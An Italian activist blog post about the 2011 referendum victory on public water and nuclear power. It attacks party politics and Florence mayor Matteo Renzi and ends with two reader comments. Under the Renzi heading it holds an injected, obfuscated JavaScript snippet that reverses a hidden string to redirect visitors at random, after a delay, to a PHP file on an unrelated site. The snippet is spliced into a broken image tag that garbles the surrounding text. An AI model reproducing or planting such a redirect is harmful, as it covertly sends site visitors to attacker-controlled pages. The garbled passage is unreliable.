Abbiamo vinto! Nonostante tv e partiti, Berlusconi e Renzi, il vento cambia davvero!

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Abbiamo vinto i referendum. Il quorum è stato raggiunto e i Sì hanno prevalso.

Gli italiani e le italiane hanno scelto un futuro per il paese capace di rimettere al centro la persona con i suoi diritti e non i profitti di chi fa politica per conto dei poteri economici e di chi detiene il capitale. Ha vinto la politica dal basso che ha fatto a meno della televisione per informarsi, che è stata in piazza e tra la gente e che ha scelto internet e le tante possibilità che offre per comprendere meglio la realtà in cui viviamo ed agire di conseguenza.

Hanno vinto tutti coloro che da almeno 15 anni si battono per una globalizzazione dei diritti e per una sostenibilità effettiva in campo ambientale. Le loro proposte hanno dovuto fronteggiare l’attacco della cultura dominante tramite tv, giornali e partiti. Più e più volte hanno dovuto subire, e subiscono, la repressione della polizia: da Genova alla Val di Susa. Ma il loro messaggio è comunque passato. Oggi la maggioranza degli italiani vuole servizi pubblici che siano tali, che la legge sia uguale per tutti e che a produrre benessere ed energia per rilanciare il paese siano le fonti rinnovabili e non la follia del nucleare.

HANNO PERSO I PARTITI

Hanno perso quelli di destra che hanno promosso una politica neocolonialista in patria, negato l’evidenza della realtà, compiuto il golpe più lungo della storia (17 anni) e boicottato il referendum anche ad urne aperte pur di difendere il ras Berlusconi.

Hanno perso anche quelli di sinistra, promotori sino ad oggi di politiche liberiste per malafede, interesse e/o incapacità ad elaborare un pensiero rispettoso dei valori dei propri elettori (vedi la gestione dell’acqua a Firenze e in Toscana). Nonostante ciò oggi i partiti di sinistra festeggeranno politicamente la caduta prossima del regime. Lo faranno perché hanno capito che il vento è cambiato. Speriamo solo che adesso siano in grado di proporre politiche alternative concrete e non di facciata. La cittadinanza attiva e i movimenti hanno segnato il solco; che imparino a seguirlo, invece che dare sostegno, palese o meno, ai soliti, vecchi poteri che hanno ridotto la nostra società nelle condizioni attuali.

Vinta questa battaglia referendaria grazie ai semi di una cultura nuova, la stessa che ha segnato la vittoria delle alternative a Milano e Napoli, dobbiamo vincere però la sfida più importante: quella politica. Non è pensabile fermarsi ora a godere dei risultati ottenuti e lasciare il campo a chi, seppur da sinistra, ha da tempo tradito il proprio dna.

Serve allora una forte vigilanza affinché la vittoria dei due referendum sull’acqua come bene comune sia tradotta in azioni che riportino al 100% il controllo pubblico nella gestione dell’acqua, dei trasporti, dei rifiuti e di tutti i servizi pubblici.

Serve una forte azione affinché la legge sia davvero uguale per tutti, che finisca il tempo dei privilegi di casta, dell’evasione fiscale e della corruzione diffusa a tutti i livelli.

Serve infine una forte attenzione affinché la partita sulle fonti di energia rinnovabile non sia ad appannaggio dei soliti noti, di chi senza scrupoli devasterà il territorio (come ha già iniziato a fare) con estensioni enormi di pannelli solari, pale eoliche e chi più ne ha più ne metta, in spregio ad ogni norma di tutela ambientale e di rispetto paesaggistico.

RENZI, L’ULTIMO SCONFITTO

$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2011/06/matteo_renzi-180×140.jpg”>Infine, da fiorentini, una nota sull’ultimo sconfitto di questo mese elettorale. Matteo Renzi, proprio lui.

Sconfitto prima dall’esito del voto milanese e napoletano, perché a sinistra è finita la favola che presuppone la vittoria solo e soltanto di candidati neo-democristiani, pienamente inseriti nel sistema di potere battuto nelle ultime settimane.

Sconfitto poi proprio dalla conduzione della vicenda referendaria. Il sindaco ha prima condiviso l’approccio berlusconiano nel non voler connotare politicamente questi referendum (bontà sua). Subito dopo ha scelto di votare No al referendum sull’acqua, confermando come la sua politica rottamatrice sia demagogia allo stato puro. Al sindaco “della città più bella del mondo” basta cambiare le persone ai vertici, mettere ai posti di comando giovani vicini a lui. Ma non per rimettere al centro i diritti dei cittadini, no assolutamente. Il cambio serve solo per gestire in proprio il solito vecchio business tra la politica degenerata e un’economia che ha bisogno di spremere i bilanci pubblici per sopravvivere.

Cambiamo pagina, diamoci da fare. I presupposti ci sono per arrivare in tempi brevi ad una società più giusta, in cui le risorse siano distribuite equamente grazie alla condivisione reale delle scelte da parte dei cittadini.

La primavera del 2011 sarà ricordata come l’occasione per rilanciare la buona Politica, quella del bene comune e non degli interessi di pochi. Non perdiamo questa opportunità. Se ci riusciremo sarà più facile, dopo Napoli e Milano, liberare anche Firenze.

0 Comments

  1. silva

    ora è importante che la legge d’iniziativa popolare sull’acqua, venga presa in esame. La sinistra, se ha capito il segnale che viene dai cittadini, deve impegnarsi a discutere in parlamento questa legge, in caso di vittoria alle prossime elezioni.

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  2. flora

    ora renzi cominci a esagerare datti una calmata i cambiamenti si possono anche fare ma un pò allavolta

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